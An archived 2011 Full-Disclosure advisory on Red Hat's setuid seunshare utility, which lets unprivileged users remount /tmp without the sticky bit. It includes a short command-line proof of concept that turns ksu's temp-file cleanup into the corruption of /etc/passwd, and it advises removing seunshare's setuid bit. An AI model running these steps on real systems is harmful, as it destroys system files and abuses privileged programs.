Home
Reading
Searching
Subscribe
Sponsors
Statistics
Posting
Contact
Spam
Lists
Links
About
Hosting
Filtering
Features Download
Marketing
Archives
FAQ
Blog
 
Gmane
From: Tavis Ormandy <taviso <at> cmpxchg8b.com>
Subject: Developers should not rely on the stickiness of /tmp on Red Hat Linux
Newsgroups: gmane.comp.security.full-disclosure
Date: Tuesday 22nd February 2011 23:57:56 UTC (over 5 years ago)
Developers should not rely on the stickiness of /tmp on Red Hat Linux
---------------------------------------------------------------------

Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a
setuid root utility from policycore-utils intended to make new filesystem
namespaces available to unprivileged processes for the purpose of
sandboxing.

The intention is to permit unprivileged users to mount a new temporary
directory on /home and /tmp for sandboxed processes, thus preventing
access to the contents of the original directories in the event of a
compromise.

One unintended side effect of making these features available to
unprivileged
processes is that users can now change how setuid applications perceive
/tmp
and /home.

The purpose of this advisory is to inform developers and system
administrators
of affected systems that unprivileged users can effectively remove the
sticky-bit from the system /tmp directory, and thus relying on the
stickiness
of /tmp on redhat systems is no longer safe.

This advisory is intended for system administrators and developers of
Red Hat Linux systems; journalists, end users and other non-technical
readers do not need to be concerned.

--------------------
Affected Software
------------------------

All known versions of policycore-utils are affected.

I discussed the potentially dangerous implications of introducing this
change
with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit
this
behaviour post-launch.

--------------------
Consequences
-----------------------

A simple example of a common application that is now unsafe is ksu, from
the
krb5 distribution. ksu creates a temporary file in /tmp, then clears it on
authentication failure.

This is normally a safe operation, as /tmp is protected by the sticky bit.

However, we can use seunshare to interfere with this process.

# create a new directory that we control
$ mkdir /tmp/seunshare

# use seunshare to mount it on /tmp and /home and run our setuid root
binary
$ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root
&>/dev/null &
[1]+  Stopped                 seunshare -v -t /tmp/seunshare/ -h
/tmp/seunshare/ -- `which ksu` root

# we can examine the mounts visible to the process using the /proc
interface
$ grep /tmp /proc/$(pidof ksu)/mountinfo
66 64 1:1 /tmp/seunshare /tmp

# here is the temporary file created by ksu during authentication
$ ls -l /tmp/seunshare/
total 4.0K
-rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1

# as we own the directory, and the sticky-bit is not set, we are permitted
to
# unlink files 
$ rm -f /tmp/seunshare/krb5cc_0.1

# now we can replace the file with a link
$ ln /etc/passwd /tmp/seunshare/krb5cc_0.1

# make ksu authentication fail.
$ fg
seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root

And /etc/passwd was damaged, thus breaking the system.

-------------------
Credit
-----------------------
 
This bug was discovered by Tavis Ormandy.
 
-------------------
Greetz
-----------------------
 
Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone
in
$1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and
colleagues.
 
-------------------
Notes
-----------------------

Although only an example of damaging a system has been provided, it's
reasonable to assume that various applications rely on the stickiness of
/tmp to prevent code execution.

Administrators are advised to remove the setuid bit from seunshare, or
restrict access to it.

-------------------
References
-----------------------

None.

-- 
-------------------------------------
[email protected] | pgp encrypted mail preferred
-------------------------------------------------------

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
 
CD: 3ms